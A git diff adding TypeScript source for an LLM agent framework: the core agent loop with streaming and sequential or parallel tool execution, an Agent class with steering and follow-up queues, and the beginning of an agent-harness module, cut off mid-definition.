nextTurnSnapshot.model ?? config.model, + reasoning: + nextTurnSnapshot.thinkingLevel === undefined + ? config.reasoning + : nextTurnSnapshot.thinkingLevel === "off" + ? undefined + : nextTurnSnapshot.thinkingLevel, + }); + } + + if ( + await config.shouldStopAfterTurn?.({ + message, + toolResults, + context: currentContext, + newMessages, + }) + ) { + await emit({ type: "agent_end", messages: newMessages }); + return; + } + + pendingMessages = (await config.getSteeringMessages?.()) || []; + } + + // Agent would stop here. Check for follow-up messages. + const followUpMessages = (await config.getFollowUpMessages?.()) || []; + if (followUpMessages.length > 0) { + // Set as pending so inner loop processes them + pendingMessages = followUpMessages; + continue; + } + + // No more messages, exit + break; + } + + await emit({ type: "agent_end", messages: newMessages }); +} + +/** + * Stream an assistant response from the LLM. + * This is where AgentMessage[] gets transformed to Message[] for the LLM. + */ +async function streamAssistantResponse( + context: AgentContext, + config: AgentLoopConfig, + signal: AbortSignal | undefined, + emit: AgentEventSink, + streamFn?: StreamFn, + runtime?: AgentCoreStreamRuntimeDeps, +): Promise { + // Apply context transform if configured (AgentMessage[] → AgentMessage[]) + let messages = context.messages; + if (config.transformContext) { + messages = await config.transformContext(messages, signal); + } + + // Convert to LLM-compatible messages (AgentMessage[] → Message[]) + const llmMessages = await config.convertToLlm(messages); + + // Build LLM context + const llmContext: Context = { + systemPrompt: context.systemPrompt, + messages: llmMessages, + tools: context.tools, + }; + + const streamFunction = resolveAgentCoreStreamFn(runtime, streamFn); + + // Resolve API key (important for expiring tokens) + const resolvedApiKey = + (config.getApiKey ? await config.getApiKey(config.model.provider) : undefined) || config.apiKey; + + const response = await streamFunction(config.model, llmContext, { + ...config, + apiKey: resolvedApiKey, + signal, + }); + + let partialMessage: AssistantMessage | null = null; + let addedPartial = false; + + for await (const event of response) { + switch (event.type) { + case "start": { + const message = event.partial; + partialMessage = message; + context.messages.push(message); + addedPartial = true; + await emit({ type: "message_start", message: { ...message } }); + break; + } + + case "text_start": + case "text_delta": + case "text_end": + case "thinking_start": + case "thinking_delta": + case "thinking_end": + case "toolcall_start": + case "toolcall_delta": + case "toolcall_end": + if (partialMessage) { + const message = event.partial; + partialMessage = message; + context.messages[context.messages.length - 1] = message; + await emit({ + type: "message_update", + assistantMessageEvent: event, + message: { ...message }, + }); + } + break; + + case "done": + case "error": { + const finalMessage = await response.result(); + if (addedPartial) { + context.messages[context.messages.length - 1] = finalMessage; + } else { + context.messages.push(finalMessage); + } + if (!addedPartial) { + await emit({ type: "message_start", message: { ...finalMessage } }); + } + await emit({ type: "message_end", message: finalMessage }); + return finalMessage; + } + } + } + + const finalMessage = await response.result(); + if (addedPartial) { + context.messages[context.messages.length - 1] = finalMessage; + } else { + context.messages.push(finalMessage); + await emit({ type: "message_start", message: { ...finalMessage } }); + } + await emit({ type: "message_end", message: finalMessage }); + return finalMessage; +} + +/** + * Execute tool calls from an assistant message. + */ +async function executeToolCalls( + currentContext: AgentContext, + assistantMessage: AssistantMessage, + config: AgentLoopConfig, + signal: AbortSignal | undefined, + emit: AgentEventSink, +): Promise { + const toolCalls = assistantMessage.content.filter((c) => c.type === "toolCall"); + const hasSequentialToolCall = toolCalls.some( + (tc) => currentContext.tools?.find((t) => t.name === tc.name)?.executionMode === "sequential", + ); + if (config.toolExecution === "sequential" || hasSequentialToolCall) { + return executeToolCallsSequential( + currentContext, + assistantMessage, + toolCalls, + config, + signal, + emit, + ); + } + return executeToolCallsParallel( + currentContext, + assistantMessage, + toolCalls, + config, + signal, + emit, + ); +} + +type ExecutedToolCallBatch = { + messages: ToolResultMessage[]; + terminate: boolean; +}; + +async function executeToolCallsSequential( + currentContext: AgentContext, + assistantMessage: AssistantMessage, + toolCalls: AgentToolCall[], + config: AgentLoopConfig, + signal: AbortSignal | undefined, + emit: AgentEventSink, +): Promise { + const finalizedCalls: FinalizedToolCallOutcome[] = []; + const messages: ToolResultMessage[] = []; + + for (const toolCall of toolCalls) { + await emit({ + type: "tool_execution_start", + toolCallId: toolCall.id, + toolName: toolCall.name, + args: toolCall.arguments, + }); + + const preparation = await prepareToolCall( + currentContext, + assistantMessage, + toolCall, + config, + signal, + ); + let finalized: FinalizedToolCallOutcome; + if (preparation.kind === "immediate") { + finalized = { + toolCall, + result: preparation.result, + isError: preparation.isError, + }; + } else { + const executed = await executePreparedToolCall(preparation, signal, emit); + finalized = await finalizeExecutedToolCall( + currentContext, + assistantMessage, + preparation, + executed, + config, + signal, + ); + } + + await emitToolExecutionEnd(finalized, emit); + const toolResultMessage = createToolResultMessage(finalized); + await emitToolResultMessage(toolResultMessage, emit); + finalizedCalls.push(finalized); + messages.push(toolResultMessage); + + if (signal?.aborted) { + break; + } + } + + return { + messages, + terminate: shouldTerminateToolBatch(finalizedCalls), + }; +} + +async function executeToolCallsParallel( + currentContext: AgentContext, + assistantMessage: AssistantMessage, + toolCalls: AgentToolCall[], + config: AgentLoopConfig, + signal: AbortSignal | undefined, + emit: AgentEventSink, +): Promise { + const finalizedCalls: FinalizedToolCallEntry[] = []; + + for (const toolCall of toolCalls) { + await emit({ + type: "tool_execution_start", + toolCallId: toolCall.id, + toolName: toolCall.name, + args: toolCall.arguments, + }); + + const preparation = await prepareToolCall( + currentContext, + assistantMessage, + toolCall, + config, + signal, + ); + if (preparation.kind === "immediate") { + const finalized = { + toolCall, + result: preparation.result, + isError: preparation.isError, + } satisfies FinalizedToolCallOutcome; + await emitToolExecutionEnd(finalized, emit); + finalizedCalls.push(finalized); + if (signal?.aborted) { + break; + } + continue; + } + + finalizedCalls.push(async () => { + const executed = await executePreparedToolCall(preparation, signal, emit); + const finalized = await finalizeExecutedToolCall( + currentContext, + assistantMessage, + preparation, + executed, + config, + signal, + ); + await emitToolExecutionEnd(finalized, emit); + return finalized; + }); + if (signal?.aborted) { + break; + } + } + + const orderedFinalizedCalls = await Promise.all( + finalizedCalls.map((entry) => (typeof entry === "function" ? entry() : Promise.resolve(entry))), + ); + const messages: ToolResultMessage[] = []; + for (const finalized of orderedFinalizedCalls) { + const toolResultMessage = createToolResultMessage(finalized); + await emitToolResultMessage(toolResultMessage, emit); + messages.push(toolResultMessage); + } + + return { + messages, + terminate: shouldTerminateToolBatch(orderedFinalizedCalls), + }; +} + +type PreparedToolCall = { + kind: "prepared"; + toolCall: AgentToolCall; + tool: AgentTool; + args: unknown; +}; + +type ImmediateToolCallOutcome = { + kind: "immediate"; + result: AgentToolResult; + isError: boolean; +}; + +type ExecutedToolCallOutcome = { + result: AgentToolResult; + isError: boolean; +}; + +type FinalizedToolCallOutcome = { + toolCall: AgentToolCall; + result: AgentToolResult; + isError: boolean; +}; + +type FinalizedToolCallEntry = FinalizedToolCallOutcome | (() => Promise); + +function shouldTerminateToolBatch(finalizedCalls: FinalizedToolCallOutcome[]): boolean { + return ( + finalizedCalls.length > 0 && + finalizedCalls.every((finalized) => finalized.result.terminate === true) + ); +} + +function prepareToolCallArguments(tool: AgentTool, toolCall: AgentToolCall): AgentToolCall { + if (!tool.prepareArguments) { + return toolCall; + } + const preparedArguments = tool.prepareArguments(toolCall.arguments); + if (preparedArguments === toolCall.arguments) { + return toolCall; + } + return { + ...toolCall, + arguments: preparedArguments as Record, + }; +} + +async function prepareToolCall( + currentContext: AgentContext, + assistantMessage: AssistantMessage, + toolCall: AgentToolCall, + config: AgentLoopConfig, + signal: AbortSignal | undefined, +): Promise { + const tool = currentContext.tools?.find((t) => t.name === toolCall.name); + if (!tool) { + return { + kind: "immediate", + result: createErrorToolResult(`Tool ${toolCall.name} not found`), + isError: true, + }; + } + + try { + const preparedToolCall = prepareToolCallArguments(tool, toolCall); + const validatedArgs = validateToolArguments(tool, preparedToolCall); + if (config.beforeToolCall) { + const beforeResult = await config.beforeToolCall( + { + assistantMessage, + toolCall, + args: validatedArgs, + context: currentContext, + }, + signal, + ); + if (signal?.aborted) { + return { + kind: "immediate", + result: createErrorToolResult("Operation aborted"), + isError: true, + }; + } + if (beforeResult?.block) { + return { + kind: "immediate", + result: createErrorToolResult(beforeResult.reason || "Tool execution was blocked"), + isError: true, + }; + } + } + if (signal?.aborted) { + return { + kind: "immediate", + result: createErrorToolResult("Operation aborted"), + isError: true, + }; + } + return { + kind: "prepared", + toolCall, + tool, + args: validatedArgs, + }; + } catch (error) { + return { + kind: "immediate", + result: createErrorToolResult(error instanceof Error ? error.message : String(error)), + isError: true, + }; + } +} + +async function executePreparedToolCall( + prepared: PreparedToolCall, + signal: AbortSignal | undefined, + emit: AgentEventSink, +): Promise { + const updateEvents: Promise[] = []; + + try { + const result = await prepared.tool.execute( + prepared.toolCall.id, + prepared.args as never, + signal, + (partialResult) => { + updateEvents.push( + Promise.resolve( + emit({ + type: "tool_execution_update", + toolCallId: prepared.toolCall.id, + toolName: prepared.toolCall.name, + args: prepared.toolCall.arguments, + partialResult, + }), + ), + ); + }, + ); + await Promise.all(updateEvents); + return { result, isError: false }; + } catch (error) { + await Promise.all(updateEvents); + return { + result: createErrorToolResult(error instanceof Error ? error.message : String(error)), + isError: true, + }; + } +} + +async function finalizeExecutedToolCall( + currentContext: AgentContext, + assistantMessage: AssistantMessage, + prepared: PreparedToolCall, + executed: ExecutedToolCallOutcome, + config: AgentLoopConfig, + signal: AbortSignal | undefined, +): Promise { + let result = executed.result; + let isError = executed.isError; + + if (config.afterToolCall) { + try { + const afterResult = await config.afterToolCall( + { + assistantMessage, + toolCall: prepared.toolCall, + args: prepared.args, + result, + isError, + context: currentContext, + }, + signal, + ); + if (afterResult) { + result = { + content: afterResult.content ?? result.content, + details: afterResult.details ?? result.details, + terminate: afterResult.terminate ?? result.terminate, + }; + isError = afterResult.isError ?? isError; + } + } catch (error) { + result = createErrorToolResult(error instanceof Error ? error.message : String(error)); + isError = true; + } + } + + return { + toolCall: prepared.toolCall, + result, + isError, + }; +} + +function createErrorToolResult(message: string): AgentToolResult { + return { + content: [{ type: "text", text: message }], + details: {}, + }; +} + +async function emitToolExecutionEnd( + finalized: FinalizedToolCallOutcome, + emit: AgentEventSink, +): Promise { + await emit({ + type: "tool_execution_end", + toolCallId: finalized.toolCall.id, + toolName: finalized.toolCall.name, + result: finalized.result, + isError: finalized.isError, + }); +} + +function createToolResultMessage(finalized: FinalizedToolCallOutcome): ToolResultMessage { + return { + role: "toolResult", + toolCallId: finalized.toolCall.id, + toolName: finalized.toolCall.name, + content: finalized.result.content, + details: finalized.result.details, + isError: finalized.isError, + timestamp: Date.now(), + }; +} + +async function emitToolResultMessage( + toolResultMessage: ToolResultMessage, + emit: AgentEventSink, +): Promise { + await emit({ type: "message_start", message: toolResultMessage }); + await emit({ type: "message_end", message: toolResultMessage }); +} diff --git a/packages/agent-core/src/agent.ts b/packages/agent-core/src/agent.ts new file mode 100644 index 00000000000..6463bbb2267 --- /dev/null +++ b/packages/agent-core/src/agent.ts @@ -0,0 +1,592 @@ +import { runAgentLoop, runAgentLoopContinue } from "./agent-loop.js"; +import { + type ImageContent, + type Message, + type Model, + type SimpleStreamOptions, + type TextContent, + type ThinkingBudgets, + type Transport, +} from "./llm.js"; +import { type AgentCoreStreamRuntimeDeps, resolveAgentCoreStreamFn } from "./runtime-deps.js"; +import type { + AfterToolCallContext, + AfterToolCallResult, + AgentContext, + AgentEvent, + AgentLoopConfig, + AgentLoopTurnUpdate, + AgentMessage, + AgentState, + AgentTool, + BeforeToolCallContext, + BeforeToolCallResult, + QueueMode, + StreamFn, + ToolExecutionMode, +} from "./types.js"; + +export type { QueueMode } from "./types.js"; + +function defaultConvertToLlm(messages: AgentMessage[]): Message[] { + return messages.filter( + (message) => + message.role === "user" || message.role === "assistant" || message.role === "toolResult", + ); +} + +const EMPTY_USAGE = { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, +}; + +const DEFAULT_MODEL = { + id: "unknown", + name: "unknown", + api: "unknown", + provider: "unknown", + baseUrl: "", + reasoning: false, + input: [], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 0, + maxTokens: 0, +} satisfies Model; + +type MutableAgentState = Omit< + AgentState, + "isStreaming" | "streamingMessage" | "pendingToolCalls" | "errorMessage" +> & { + isStreaming: boolean; + streamingMessage?: AgentMessage; + pendingToolCalls: Set; + errorMessage?: string; +}; + +function createMutableAgentState( + initialState?: Partial< + Omit + >, +): MutableAgentState { + let tools = initialState?.tools?.slice() ?? []; + let messages = initialState?.messages?.slice() ?? []; + + return { + systemPrompt: initialState?.systemPrompt ?? "", + model: initialState?.model ?? DEFAULT_MODEL, + thinkingLevel: initialState?.thinkingLevel ?? "off", + get tools() { + return tools; + }, + set tools(nextTools: AgentTool[]) { + tools = nextTools.slice(); + }, + get messages() { + return messages; + }, + set messages(nextMessages: AgentMessage[]) { + messages = nextMessages.slice(); + }, + isStreaming: false, + streamingMessage: undefined, + pendingToolCalls: new Set(), + errorMessage: undefined, + }; +} + +/** Options for constructing an {@link Agent}. */ +export interface AgentOptions { + initialState?: Partial< + Omit + >; + convertToLlm?: (messages: AgentMessage[]) => Message[] | Promise; + transformContext?: (messages: AgentMessage[], signal?: AbortSignal) => Promise; + runtime?: AgentCoreStreamRuntimeDeps; + streamFn?: StreamFn; + getApiKey?: (provider: string) => Promise | string | undefined; + onPayload?: SimpleStreamOptions["onPayload"]; + onResponse?: SimpleStreamOptions["onResponse"]; + beforeToolCall?: ( + context: BeforeToolCallContext, + signal?: AbortSignal, + ) => Promise; + afterToolCall?: ( + context: AfterToolCallContext, + signal?: AbortSignal, + ) => Promise; + prepareNextTurn?: ( + signal?: AbortSignal, + ) => Promise | AgentLoopTurnUpdate | undefined; + steeringMode?: QueueMode; + followUpMode?: QueueMode; + sessionId?: string; + thinkingBudgets?: ThinkingBudgets; + transport?: Transport; + maxRetryDelayMs?: number; + toolExecution?: ToolExecutionMode; +} + +class PendingMessageQueue { + private messages: AgentMessage[] = []; + public mode: QueueMode; + + constructor(mode: QueueMode) { + this.mode = mode; + } + + enqueue(message: AgentMessage): void { + this.messages.push(message); + } + + hasItems(): boolean { + return this.messages.length > 0; + } + + drain(): AgentMessage[] { + if (this.mode === "all") { + const drained = this.messages.slice(); + this.messages = []; + return drained; + } + + const first = this.messages[0]; + if (!first) { + return []; + } + this.messages = this.messages.slice(1); + return [first]; + } + + clear(): void { + this.messages = []; + } +} + +type ActiveRun = { + promise: Promise; + resolve: () => void; + abortController: AbortController; +}; + +/** + * Stateful wrapper around the low-level agent loop. + * + * `Agent` owns the current transcript, emits lifecycle events, executes tools, + * and exposes queueing APIs for steering and follow-up messages. + */ +export class Agent { + private mutableState: MutableAgentState; + private readonly listeners = new Set< + (event: AgentEvent, signal: AbortSignal) => Promise | void + >(); + private readonly steeringQueue: PendingMessageQueue; + private readonly followUpQueue: PendingMessageQueue; + + public convertToLlm: (messages: AgentMessage[]) => Message[] | Promise; + public transformContext?: ( + messages: AgentMessage[], + signal?: AbortSignal, + ) => Promise; + public runtime?: AgentCoreStreamRuntimeDeps; + public streamFn: StreamFn; + public getApiKey?: (provider: string) => Promise | string | undefined; + public onPayload?: SimpleStreamOptions["onPayload"]; + public onResponse?: SimpleStreamOptions["onResponse"]; + public beforeToolCall?: ( + context: BeforeToolCallContext, + signal?: AbortSignal, + ) => Promise; + public afterToolCall?: ( + context: AfterToolCallContext, + signal?: AbortSignal, + ) => Promise; + public prepareNextTurn?: ( + signal?: AbortSignal, + ) => Promise | AgentLoopTurnUpdate | undefined; + private activeRun?: ActiveRun; + /** Session identifier forwarded to providers for cache-aware backends. */ + public sessionId?: string; + /** Optional per-level thinking token budgets forwarded to the stream function. */ + public thinkingBudgets?: ThinkingBudgets; + /** Preferred transport forwarded to the stream function. */ + public transport: Transport; + /** Optional cap for provider-requested retry delays. */ + public maxRetryDelayMs?: number; + /** Tool execution strategy for assistant messages that contain multiple tool calls. */ + public toolExecution: ToolExecutionMode; + + constructor(options: AgentOptions = {}) { + this.mutableState = createMutableAgentState(options.initialState); + this.convertToLlm = options.convertToLlm ?? defaultConvertToLlm; + this.transformContext = options.transformContext; + this.runtime = options.runtime; + this.streamFn = resolveAgentCoreStreamFn(options.runtime, options.streamFn); + this.getApiKey = options.getApiKey; + this.onPayload = options.onPayload; + this.onResponse = options.onResponse; + this.beforeToolCall = options.beforeToolCall; + this.afterToolCall = options.afterToolCall; + this.prepareNextTurn = options.prepareNextTurn; + this.steeringQueue = new PendingMessageQueue(options.steeringMode ?? "one-at-a-time"); + this.followUpQueue = new PendingMessageQueue(options.followUpMode ?? "one-at-a-time"); + this.sessionId = options.sessionId; + this.thinkingBudgets = options.thinkingBudgets; + this.transport = options.transport ?? "auto"; + this.maxRetryDelayMs = options.maxRetryDelayMs; + this.toolExecution = options.toolExecution ?? "parallel"; + } + + /** + * Subscribe to agent lifecycle events. + * + * Listener promises are awaited in subscription order and are included in + * the current run's settlement. Listeners also receive the active abort + * signal for the current run. + * + * `agent_end` is the final emitted event for a run, but the agent does not + * become idle until all awaited listeners for that event have settled. + */ + subscribe( + listener: (event: AgentEvent, signal: AbortSignal) => Promise | void, + ): () => void { + this.listeners.add(listener); + return () => this.listeners.delete(listener); + } + + /** + * Current agent state. + * + * Assigning `state.tools` or `state.messages` copies the provided top-level array. + */ + get state(): AgentState { + return this.mutableState; + } + + /** Controls how queued steering messages are drained. */ + set steeringMode(mode: QueueMode) { + this.steeringQueue.mode = mode; + } + + get steeringMode(): QueueMode { + return this.steeringQueue.mode; + } + + /** Controls how queued follow-up messages are drained. */ + set followUpMode(mode: QueueMode) { + this.followUpQueue.mode = mode; + } + + get followUpMode(): QueueMode { + return this.followUpQueue.mode; + } + + /** Queue a message to be injected after the current assistant turn finishes. */ + steer(message: AgentMessage): void { + this.steeringQueue.enqueue(message); + } + + /** Queue a message to run only after the agent would otherwise stop. */ + followUp(message: AgentMessage): void { + this.followUpQueue.enqueue(message); + } + + /** Remove all queued steering messages. */ + clearSteeringQueue(): void { + this.steeringQueue.clear(); + } + + /** Remove all queued follow-up messages. */ + clearFollowUpQueue(): void { + this.followUpQueue.clear(); + } + + /** Remove all queued steering and follow-up messages. */ + clearAllQueues(): void { + this.clearSteeringQueue(); + this.clearFollowUpQueue(); + } + + /** Returns true when either queue still contains pending messages. */ + hasQueuedMessages(): boolean { + return this.steeringQueue.hasItems() || this.followUpQueue.hasItems(); + } + + /** Active abort signal for the current run, if any. */ + get signal(): AbortSignal | undefined { + return this.activeRun?.abortController.signal; + } + + /** Abort the current run, if one is active. */ + abort(): void { + this.activeRun?.abortController.abort(); + } + + /** + * Resolve when the current run and all awaited event listeners have finished. + * + * This resolves after `agent_end` listeners settle. + */ + waitForIdle(): Promise { + return this.activeRun?.promise ?? Promise.resolve(); + } + + /** Clear transcript state, runtime state, and queued messages. */ + reset(): void { + this.mutableState.messages = []; + this.mutableState.isStreaming = false; + this.mutableState.streamingMessage = undefined; + this.mutableState.pendingToolCalls = new Set(); + this.mutableState.errorMessage = undefined; + this.clearFollowUpQueue(); + this.clearSteeringQueue(); + } + + /** Start a new prompt from text, a single message, or a batch of messages. */ + async prompt(message: AgentMessage | AgentMessage[]): Promise; + async prompt(input: string, images?: ImageContent[]): Promise; + async prompt( + input: string | AgentMessage | AgentMessage[], + images?: ImageContent[], + ): Promise { + if (this.activeRun) { + throw new Error( + "Agent is already processing a prompt. Use steer() or followUp() to queue messages, or wait for completion.", + ); + } + const messages = this.normalizePromptInput(input, images); + await this.runPromptMessages(messages); + } + + /** Continue from the current transcript. The last message must be a user or tool-result message. */ + async continue(): Promise { + if (this.activeRun) { + throw new Error("Agent is already processing. Wait for completion before continuing."); + } + + const lastMessage = this.mutableState.messages[this.mutableState.messages.length - 1]; + if (!lastMessage) { + throw new Error("No messages to continue from"); + } + + if (lastMessage.role === "assistant") { + const queuedSteering = this.steeringQueue.drain(); + if (queuedSteering.length > 0) { + await this.runPromptMessages(queuedSteering, { skipInitialSteeringPoll: true }); + return; + } + + const queuedFollowUps = this.followUpQueue.drain(); + if (queuedFollowUps.length > 0) { + await this.runPromptMessages(queuedFollowUps); + return; + } + + throw new Error("Cannot continue from message role: assistant"); + } + + await this.runContinuation(); + } + + private normalizePromptInput( + input: string | AgentMessage | AgentMessage[], + images?: ImageContent[], + ): AgentMessage[] { + if (Array.isArray(input)) { + return input; + } + + if (typeof input !== "string") { + return [input]; + } + + const content: Array = [{ type: "text", text: input }]; + if (images && images.length > 0) { + content.push(...images); + } + return [{ role: "user", content, timestamp: Date.now() }]; + } + + private async runPromptMessages( + messages: AgentMessage[], + options: { skipInitialSteeringPoll?: boolean } = {}, + ): Promise { + await this.runWithLifecycle(async (signal) => { + await runAgentLoop( + messages, + this.createContextSnapshot(), + this.createLoopConfig(options), + (event) => this.processEvents(event), + signal, + this.streamFn, + ); + }); + } + + private async runContinuation(): Promise { + await this.runWithLifecycle(async (signal) => { + await runAgentLoopContinue( + this.createContextSnapshot(), + this.createLoopConfig(), + (event) => this.processEvents(event), + signal, + this.streamFn, + ); + }); + } + + private createContextSnapshot(): AgentContext { + return { + systemPrompt: this.mutableState.systemPrompt, + messages: this.mutableState.messages.slice(), + tools: this.mutableState.tools.slice(), + }; + } + + private createLoopConfig(options: { skipInitialSteeringPoll?: boolean } = {}): AgentLoopConfig { + let skipInitialSteeringPoll = options.skipInitialSteeringPoll === true; + return { + model: this.mutableState.model, + reasoning: + this.mutableState.thinkingLevel === "off" ? undefined : this.mutableState.thinkingLevel, + sessionId: this.sessionId, + onPayload: this.onPayload, + onResponse: this.onResponse, + transport: this.transport, + thinkingBudgets: this.thinkingBudgets, + maxRetryDelayMs: this.maxRetryDelayMs, + toolExecution: this.toolExecution, + beforeToolCall: this.beforeToolCall, + afterToolCall: this.afterToolCall, + prepareNextTurn: this.prepareNextTurn + ? async () => await this.prepareNextTurn?.(this.signal) + : undefined, + convertToLlm: this.convertToLlm, + transformContext: this.transformContext, + getApiKey: this.getApiKey, + getSteeringMessages: async () => { + if (skipInitialSteeringPoll) { + skipInitialSteeringPoll = false; + return []; + } + return this.steeringQueue.drain(); + }, + getFollowUpMessages: async () => this.followUpQueue.drain(), + }; + } + + private async runWithLifecycle(executor: (signal: AbortSignal) => Promise): Promise { + if (this.activeRun) { + throw new Error("Agent is already processing."); + } + + const abortController = new AbortController(); + let resolvePromise = () => {}; + const promise = new Promise((resolve) => { + resolvePromise = resolve; + }); + this.activeRun = { promise, resolve: resolvePromise, abortController }; + + this.mutableState.isStreaming = true; + this.mutableState.streamingMessage = undefined; + this.mutableState.errorMessage = undefined; + + try { + await executor(abortController.signal); + } catch (error) { + await this.handleRunFailure(error, abortController.signal.aborted); + } finally { + this.finishRun(); + } + } + + private async handleRunFailure(error: unknown, aborted: boolean): Promise { + const failureMessage = { + role: "assistant", + content: [{ type: "text", text: "" }], + api: this.mutableState.model.api, + provider: this.mutableState.model.provider, + model: this.mutableState.model.id, + usage: EMPTY_USAGE, + stopReason: aborted ? "aborted" : "error", + errorMessage: error instanceof Error ? error.message : String(error), + timestamp: Date.now(), + } satisfies AgentMessage; + await this.processEvents({ type: "message_start", message: failureMessage }); + await this.processEvents({ type: "message_end", message: failureMessage }); + await this.processEvents({ type: "turn_end", message: failureMessage, toolResults: [] }); + await this.processEvents({ type: "agent_end", messages: [failureMessage] }); + } + + private finishRun(): void { + this.mutableState.isStreaming = false; + this.mutableState.streamingMessage = undefined; + this.mutableState.pendingToolCalls = new Set(); + this.activeRun?.resolve(); + this.activeRun = undefined; + } + + /** + * Reduce internal state for a loop event, then await listeners. + * + * `agent_end` only means no further loop events will be emitted. The run is + * considered idle later, after all awaited listeners for `agent_end` finish + * and `finishRun()` clears runtime-owned state. + */ + private async processEvents(event: AgentEvent): Promise { + switch (event.type) { + case "agent_start": + case "turn_start": + case "tool_execution_update": + break; + + case "message_start": + this.mutableState.streamingMessage = event.message; + break; + + case "message_update": + this.mutableState.streamingMessage = event.message; + break; + + case "message_end": + this.mutableState.streamingMessage = undefined; + this.mutableState.messages.push(event.message); + break; + + case "tool_execution_start": { + const pendingToolCalls = new Set(this.mutableState.pendingToolCalls); + pendingToolCalls.add(event.toolCallId); + this.mutableState.pendingToolCalls = pendingToolCalls; + break; + } + + case "tool_execution_end": { + const pendingToolCalls = new Set(this.mutableState.pendingToolCalls); + pendingToolCalls.delete(event.toolCallId); + this.mutableState.pendingToolCalls = pendingToolCalls; + break; + } + + case "turn_end": + if (event.message.role === "assistant" && event.message.errorMessage) { + this.mutableState.errorMessage = event.message.errorMessage; + } + break; + + case "agent_end": + this.mutableState.streamingMessage = undefined; + break; + } + + const signal = this.activeRun?.abortController.signal; + if (!signal) { + throw new Error("Agent listener invoked outside active run"); + } + for (const listener of this.listeners) { + await listener(event, signal); + } + } +} diff --git a/packages/agent-core/src/harness/agent-harness.ts b/packages/agent-core/src/harness/agent-harness.ts new file mode 100644 index 00000000000..2177823b9d0 --- /dev/null +++ b/packages/agent-core/src/harness/agent-harness.ts @@ -0,0 +1,1184 @@ +import { runAgentLoop } from "../agent-loop.js"; +import { type AssistantMessage, type ImageContent, type Model, type UserMessage } from "../llm.js"; +import { type AgentCoreRuntimeDeps, resolveAgentCoreStreamFn } from "../runtime-deps.js"; +import type { + AgentContext, + AgentEvent, + AgentLoopConfig, + AgentMessage, + AgentTool, + QueueMode, + StreamFn, + ThinkingLevel, +} from "../types.js"; +import { + collectEntriesForBranchSummary, + generateBranchSummary, +} from "./compaction/branch-summarization.js"; +import { + compact, + DEFAULT_COMPACTION_SETTINGS, + prepareCompaction, +} from "./compaction/compaction.js"; +import { convertToLlm } from "./messages.js"; +import { formatPromptTemplateInvocation } from "./prompt-templates.js"; +import { formatSkillInvocation } from "./skills.js"; +import type { + AbortResult, + AgentHarnessEvent, + AgentHarnessEventResultMap, + AgentHarnessOptions, + AgentHarnessOwnEvent, + AgentHarnessPhase, + AgentHarnessResources, + AgentHarnessStreamOptions, + AgentHarnessStreamOptionsPatch, + ExecutionEnv, + NavigateTreeResult, + PendingSessionWrite, + PromptTemplate, + Session, + Skill, +} from "./types.js"; +import { + AgentHarnessError, + BranchSummaryError, + CompactionError, + SessionError, + toError, +} from "./types.js"; + +function createUserMessage(text: string, images?: ImageContent[]): UserMessage { + const content: Array<{ type: "text"; text: string } | ImageContent> = [{ type: "text", text }]; + if (images) { + content.push(...images); + } + return { role: "user", content, timestamp: Date.now() }; +} + +function createFailureMessage(model: Model, error: unknown, aborted: boolean): AssistantMessage { + return { + role: "assistant", + content: [{ type: "text", text: "" }], + api: model.api, + provider: model.provider, + model: model.id, + stopReason: aborted ? "aborted" : "error", + errorMessage: error instanceof Error ? error.message : String(error), + timestamp: Date.now(), + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + }; +} + +function cloneStreamOptions(streamOptions?: AgentHarnessStreamOptions): AgentHarnessStreamOptions { + return { + ...streamOptions, + headers: streamOptions?.headers ? { ...streamOptions.headers } : undefined, + metadata: streamOptions?.metadata ? { ...streamOptions.metadata } : undefined, + }; +} + +function mergeHeaders( + ...headers: Array | undefined> +): Record | undefined { + const merged: Record = {}; + let hasHeaders = false; + for (const entry of headers) { + if (!entry) { + continue; + } + Object.assign(merged, entry); + hasHeaders = true; + } + return hasHeaders ? merged : undefined; +} + +function applyStreamOptionsPatch( + base: AgentHarnessStreamOptions, + patch?: AgentHarnessStreamOptionsPatch, +): AgentHarnessStreamOptions { + const result = cloneStreamOptions(base); + if (!patch) { + return result; + } + + if (Object.hasOwn(patch, "transport")) { + result.transport = patch.transport; + } + if (Object.hasOwn(patch, "timeoutMs")) { + result.timeoutMs = patch.timeoutMs; + } + if (Object.hasOwn(patch, "maxRetries")) { + result.maxRetries = patch.maxRetries; + } + if (Object.hasOwn(patch, "maxRetryDelayMs")) { + result.maxRetryDelayMs = patch.maxRetryDelayMs; + } + if (Object.hasOwn(patch, "cacheRetention")) { + result.cacheRetention = patch.cacheRetention; + } + + if (Object.hasOwn(patch, "headers")) { + if (patch.headers === undefined) { + result.headers = undefined; + } else { + const headers = { ...result.headers }; + for (const [key, value] of Object.entries(patch.headers)) { + if (value === undefined) { + delete headers[key]; + } else { + headers[key] = value; + } + } + result.headers = Object.keys(headers).length > 0 ? headers : undefined; + } + } + + if (Object.hasOwn(patch, "metadata")) { + if (patch.metadata === undefined) { + result.metadata = undefined; + } else { + const metadata = { ...result.metadata }; + for (const [key, value] of Object.entries(patch.metadata)) { + if (value === undefined) { + delete metadata[key]; + } else { + metadata[key] = value; + } + } + result.metadata = Object.keys(metadata).length > 0 ? metadata : undefined; + } + } + + return result; +} + +const SUBSCRIBER_EVENT_TYPE = "*"; + +type AgentHarnessHandler = (event: unknown, signal?: AbortSignal) => unknown; + +function normalizeHarnessError( + error: unknown, + fallbackCode: AgentHarnessError["code"], +): AgentHarnessError { + if (error instanceof AgentHarnessError) { + return error; + } + const cause = toError(error); + if (cause instanceof SessionError) { + return new AgentHarnessError("session", cause.message, cause); + } + if (cause instanceof CompactionError) { + return new AgentHarnessError("compaction", cause.message, cause); + } + if (cause instanceof BranchSummaryError) { + return new AgentHarnessError("branch_summary", cause.message, cause); + } + return new AgentHarnessError(fallbackCode, cause.message, cause); +} + +function normalizeHookError(error: unknown): AgentHarnessError { + return normalizeHarnessError(error, "hook"); +} + +interface AgentHarnessTurnState< + TSkill extends Skill = Skill, + TPromptTemplate extends PromptTemplate = PromptTemplate, + TTool extends AgentTool = AgentTool, +> { + messages: AgentMessage[]; + resources: AgentHarnessResources; + streamOptions: AgentHarnessStreamOptions; + sessionId: string; + systemPrompt: string; + model: Model; + thinkingLevel: 